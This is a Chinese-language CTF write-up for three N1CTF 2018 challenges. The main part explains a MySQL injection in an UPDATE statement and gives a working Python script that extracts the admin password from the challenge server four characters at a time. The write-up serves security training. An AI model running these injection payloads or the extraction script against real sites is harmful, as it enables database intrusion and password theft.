N1CTF-2018-Writeup

checkin

1
2
3
checkin
#n1ctf2018

签到题。一开始尝试了n1ctf2018的各种变种,hhhh都不对。于是下意识的看比赛公告,发现了是IRC频道,进去就发现一串字符

1
TjFDVEZ7V2VsYzBtZV90b19OMUNURl8yMDE4fQ

在后面加两个等号,base64解码(偷偷告诉你,在线直接解码)
N1CTF{Welc0me_to_N1CTF_2018}

losetome

1
2
3
4
5
Lose to the Ai for flag.
hk node: http://47.75.56.59:4000
cn node: http://116.62.207.231:4000

打开一看是一个黑白棋游戏,js写的,用了websocket,尝试找了XHR的地址,没找到= =
然后就是安装一个hashcash,消耗CPU性能来玩游戏。玩了几把找到一些技巧:

1
想输尽量不要占边角的地方,并且尽量不要斜线吃,所有棋子尽量靠在一起方便那个AI吃你的= =

最后还被出题人嘲讽。
N1CTF{Oh!you_1ose_t0_AI_hhhhhh}

77777

1
2
3
4
5
6
7
"77777" is my girlfriend's nickname,have fun xdd:)
hk node: http://47.75.14.48
cn node: http://47.97.168.223
(Two challenge servers are identical, use either of them.)

访问 http://47.97.168.223 得到提示

1
2
3
4
5
This is my page.
U can update my points in Profile.
And the flag is `admin's password`:)

1
2
是一个update语句。在%d 即分数后面还有一个%s,这里应该就是我们自己构造进行注入的点了。
看到这篇
梳理了一下就是MySQL允许字符串与数字进行逻辑操作,这里points是数字,自然肯定是可以在update的set处进行逻辑操作的。
于是构造POST数据
flag=0&hi= | conv(hex(substr(user(),1,4)),16,10)
发现在MyPoints返回了一个大整数,利用sql语句
select unhex(conv(data,10,16))
得到user()的前四个字符。

构造的flag为0是因为0与任何数 或 得到任何数。 substr()的第三个参数是4,即每次得到4个字符是测试出来的最大值了。

注:
MySQL中最大值为BIGINT(0xffffffffffffffff),一个字符8位,即最大8位字符。这里可能是题>目的数据库表限制为32位。

测试发现题目过滤了 in、schema、database、extractvalue、union等,无法获取列名也无法利用子查询自定义列名。这里卡了很久,最后猜了一下列名password,然后过了,过了!!!
哎长记性了以后做题都先猜一下。

可能还有获取列名的方法吧= =,只不过我猜出来了,那就先把flag提交了吧。
N1CTF{helloctfer23333}
顺手写个脚本,好久没写代码了练练手。。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding: utf-8
import requests
import re
url = 'http://47.97.168.223/index.php'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:58.0) Gecko/20100101 Firefox/58.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0',
'Content-Type': 'application/x-www-form-urlencoded'
}
payload = {
'flag': 0,
'hi': ''
}
data = ''
for i in range(4):
payload['hi'] = ' | conv(hex(substr((select password),'+str(i*4+1)+',4)),16,10)'
r = requests.post(url,data = payload)
d = re.findall('<grey>My Points</grey>|(\d+)<br/>', r.text)[1]
dec = lambda x:("%x"%x).decode('hex')
data = data + dec(int(d))
print 'N1CTF{'+data+'}'

感觉自己基础还不是很扎实,要多练习!